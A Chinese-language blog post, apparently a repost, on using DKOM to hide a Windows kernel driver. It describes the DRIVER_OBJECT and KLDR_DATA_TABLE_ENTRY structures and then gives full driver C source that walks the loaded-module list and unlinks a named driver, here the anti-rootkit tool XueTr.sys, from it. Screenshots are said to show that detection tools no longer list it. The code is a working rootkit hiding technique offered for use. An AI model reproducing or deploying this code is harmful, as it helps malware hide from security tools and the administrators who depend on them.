DKOM隐藏驱动

冷不防 2022-08-18 14:25 142阅读 0赞

DKOM(Direct Kernel Object Manipulation)就是直接[内核对象][Link 1]操作技术。所有的操作系统都在内存中[存储][Link 2]记账信息，他们通常采用结构或对象的形式,由对象管理器管理。当[用户空间][Link 3]进程请求操作系统信息例如进程、线程或设备驱动程序列表时，这些对象被报告给用户。这些对象或结构位于内存中，因此可以直接对其进行修改。隐藏进程主要关注的windows关键[数据结构][Link 4]是：进程的EPROCESS结构与线程的ETHREAD结构、[链表][Link 5]（如进程、线程链表与CPU的调度链表）等等。DKOM通过操作这些[数据结构][Link 4]来达到它们的目的。直接操作[内核对象][Link 1]在隐藏进程这方面的应用很多。

当服务控制管理器(SCM)加载一个驱动的时候, 就会生成一个DRIVER\_OBJECT结构的对象.

nt!\_DRIVER\_OBJECT  
 \+0x000 Type : Int2B  
 \+0x002 Size : Int2B  
 \+0x004 DeviceObject : Ptr32\_DEVICE\_OBJECT  
 \+0x008 Flags : Uint4B  
 \+0x00cDriverStart : Ptr32 Void  
 \+0x010 DriverSize : Uint4B  
 \+0x014 DriverSection : Ptr32Void  
 \+0x018 DriverExtension : Ptr32\_DRIVER\_EXTENSION  
 \+0x01cDriverName : \_UNICODE\_STRING  
 \+0x024 HardwareDatabase : Ptr32 \_UNICODE\_STRING  
 \+0x028 FastIoDispatch : Ptr32\_FAST\_IO\_DISPATCH  
 \+0x02cDriverInit : Ptr32 long   
 \+0x030 DriverStartIo :Ptr32 void   
 \+0x034 DriverUnload :Ptr32 void   
 \+0x038 MajorFunction : \[28\]Ptr32 long   
  
其中的DriverSection中保存着一个指向KLDR\_DATA\_TABLE\_ENTRY结构体的指针.  
这个结构体被用来保存 驱动 模块的一些信息.  
在WRK中的定义如下:  
typedef struct \_KLDR\_DATA\_TABLE\_ENTRY \{   
 LIST\_ENTRY InLoadOrderLinks;  
 PVOID ExceptionTable;  
 ULONG ExceptionTableSize;  
 PVOID GpValue;  
 DWORD UnKnow;  
 PVOIDDllBase;  
 PVOID EntryPoint;  
 ULONG SizeOfImage;  
 UNICODE\_STRING FullDllName;  
 UNICODE\_STRING BaseDllName;  
 ULONG Flags;  
 USHORT LoadCount;  
 USHORT \_\_Unused5;  
 PVOID SectionPointer;  
 ULONG CheckSum;  
 PVOID LoadedImports;  
 PVOID PatchInformation;  
\} KLDR\_DATA\_TABLE\_ENTRY,\*PKLDR\_DATA\_TABLE\_ENTRY;  
  
这个结构体中的第一个成员InLoadOrderLinks是一个LIST\_ENTRY的结构. 这使得每个 驱动 模块被串在了一个双向链表中.我们只要遍历这条双向链就能枚举出所有的 驱动 模块.  
其中域DllBase 是 驱动 模块的加载基地址.  
FullDllName 是 驱动 模块的完整路径  
BaseDllName 是 驱动 模块的名称.  
遍历结果如下:  
![名称:  2011-06-14\_150303.png查看次数: 895文件大小:  12.6 KB][2011-06-14_150303.png_ 895_ 12.6 KB]  
  
因此, 如果我们要 隐藏 某个 驱动 , 只需将我们要 隐藏 的 驱动 名跟链表中的每个节点的 驱动 名比较. 一旦找到我们要 隐藏 的 驱动 , 则修改它的InLoadOrderLinks域的Flink和Blink的指针即可.  
图一: 修改前Flink和Blink指针的指向情况  
![名称:  1.png查看次数: 886文件大小:  8.7 KB][1.png_ 886_ 8.7 KB]  
  
图二:修改后Flink和Blink指针的指向情况  
![名称:  2.png查看次数: 885文件大小:  9.0 KB][2.png_ 885_ 9.0 KB]  
  
/\*  
 \* 【作者：莫灰灰(LSG)】  
 \* 【空间：http://hi.baidu.com/hu3167343】  
 \*/  
  
\#include <ntddk.h>  
  
typedef unsigned long DWORD;  
  
typedef struct \_KLDR\_DATA\_TABLE\_ENTRY \{   
 LIST\_ENTRY InLoadOrderLinks;  
 PVOID ExceptionTable;  
 ULONG ExceptionTableSize;  
 PVOID GpValue;  
 DWORD UnKnow;  
 PVOID DllBase;  
 PVOID EntryPoint;  
 ULONG SizeOfImage;  
 UNICODE\_STRING FullDllName;  
 UNICODE\_STRING BaseDllName;  
 ULONG Flags;  
 USHORT LoadCount;  
 USHORT \_\_Unused5;  
 PVOID SectionPointer;  
 ULONG CheckSum;  
 PVOID LoadedImports;  
 PVOID PatchInformation;  
\} KLDR\_DATA\_TABLE\_ENTRY, \*PKLDR\_DATA\_TABLE\_ENTRY;  
  
PDRIVER\_OBJECT pDriverObject = NULL;  
  
VOID   
HideDriver()  
\{   
 PKLDR\_DATA\_TABLE\_ENTRY entry =(PKLDR\_DATA\_TABLE\_ENTRY)pDriverObject->DriverSection;  
 PKLDR\_DATA\_TABLE\_ENTRY firstentry;  
 UNICODE\_STRING uniDriverName;  
  
 firstentry = entry;  
  
 // 初始化要 隐藏 驱动 的 驱动 名  
 RtlInitUnicodeString(&uniDriverName, L"XueTr.sys");  
  
 while((PKLDR\_DATA\_TABLE\_ENTRY)entry->InLoadOrderLinks.Flink != firstentry)  
 \{   
 if (entry->FullDllName.Buffer != 0)  
 \{   
 if (RtlCompareUnicodeString(&uniDriverName, &(entry->BaseDllName), FALSE) == 0)  
 \{   
 KdPrint((" 隐藏 驱动  %ws 成功!\\n", entry->BaseDllName.Buffer));   
 // 修改 Flink 和 Blink 指针, 以跳过我们要 隐藏 的 驱动  
 \*((DWORD\*)entry->InLoadOrderLinks.Blink) = (DWORD)entry->InLoadOrderLinks.Flink;  
 entry->InLoadOrderLinks.Flink->Blink = entry->InLoadOrderLinks.Blink;  
  
 /\*   
 使被 隐藏 驱动 LIST\_ENTRY结构体的Flink, Blink域指向自己  
 因为此节点本来在链表中, 那么它邻接的节点 驱动 被卸载时,   
 系统会把此节点的Flink, Blink域指向它相邻节点的下一个节点.  
 但是, 它此时已经脱离链表了, 如果现在它原本相邻的节点 驱动 被  
 卸载了, 那么此节点的Flink, Blink域将有可能指向无用的地址, 而  
 造成随机性的BSoD.  
 \*/  
 entry->InLoadOrderLinks.Flink = (LIST\_ENTRY\*)&(entry->InLoadOrderLinks.Flink);  
 entry->InLoadOrderLinks.Blink = (LIST\_ENTRY\*)&(entry->InLoadOrderLinks.Flink);  
  
 break;  
 \}  
 \}  
 // 链表往前走  
 entry = (PKLDR\_DATA\_TABLE\_ENTRY)entry->InLoadOrderLinks.Flink;  
 \}  
\}  
  
NTSTATUS   
UnloadDriver(  
 IN PDRIVER\_OBJECT DriverObject  
 )  
\{   
 return STATUS\_SUCCESS;  
\}  
  
NTSTATUS   
DriverEntry(  
 IN PDRIVER\_OBJECT DriverObject,   
 IN PUNICODE\_STRING RegistryPath  
 )  
\{   
 DriverObject->DriverUnload = UnloadDriver;  
 pDriverObject = DriverObject;  
 HideDriver();  
 return STATUS\_SUCCESS;  
\}  
  
  
摘了XueTr的 驱动 之后, 我们用ARK工具来看一下(XueTr 和 PT都是最新版).  
[![点击图片以查看大图图片名称:	3.png查看次数:	884文件大小:	77.5 KB文件 ID :	58002][3.png_884_77.5 KB_ ID _58002]][3.png_884_77.5 KB_ ID _58002_3.png_884_77.5 KB_ ID _58002]

[Link 1]: http://baike.baidu.com/view/2863436.htm
[Link 2]: http://baike.baidu.com/view/87682.htm
[Link 3]: http://baike.baidu.com/view/4274331.htm
[Link 4]: http://baike.baidu.com/view/9900.htm
[Link 5]: http://baike.baidu.com/view/549479.htm
[2011-06-14_150303.png_ 895_ 12.6 KB]: /images/20220731/c4e44327e5354d31aa09c7d6450b1ad5.png
[1.png_ 886_ 8.7 KB]: /images/20220731/92c3b62416ee454d826d0c1a9a61a5f2.png
[2.png_ 885_ 9.0 KB]: /images/20220731/3e5487020bea4a69b9a8f468ec70984d.png
[3.png_884_77.5 KB_ ID _58002]: https://img-blog.csdn.net/20130901075041593?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvd2hhdGRheQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast
[3.png_884_77.5 KB_ ID _58002_3.png_884_77.5 KB_ ID _58002]: /images/20220731/409de4dc9c284089880178e3edc84c47.png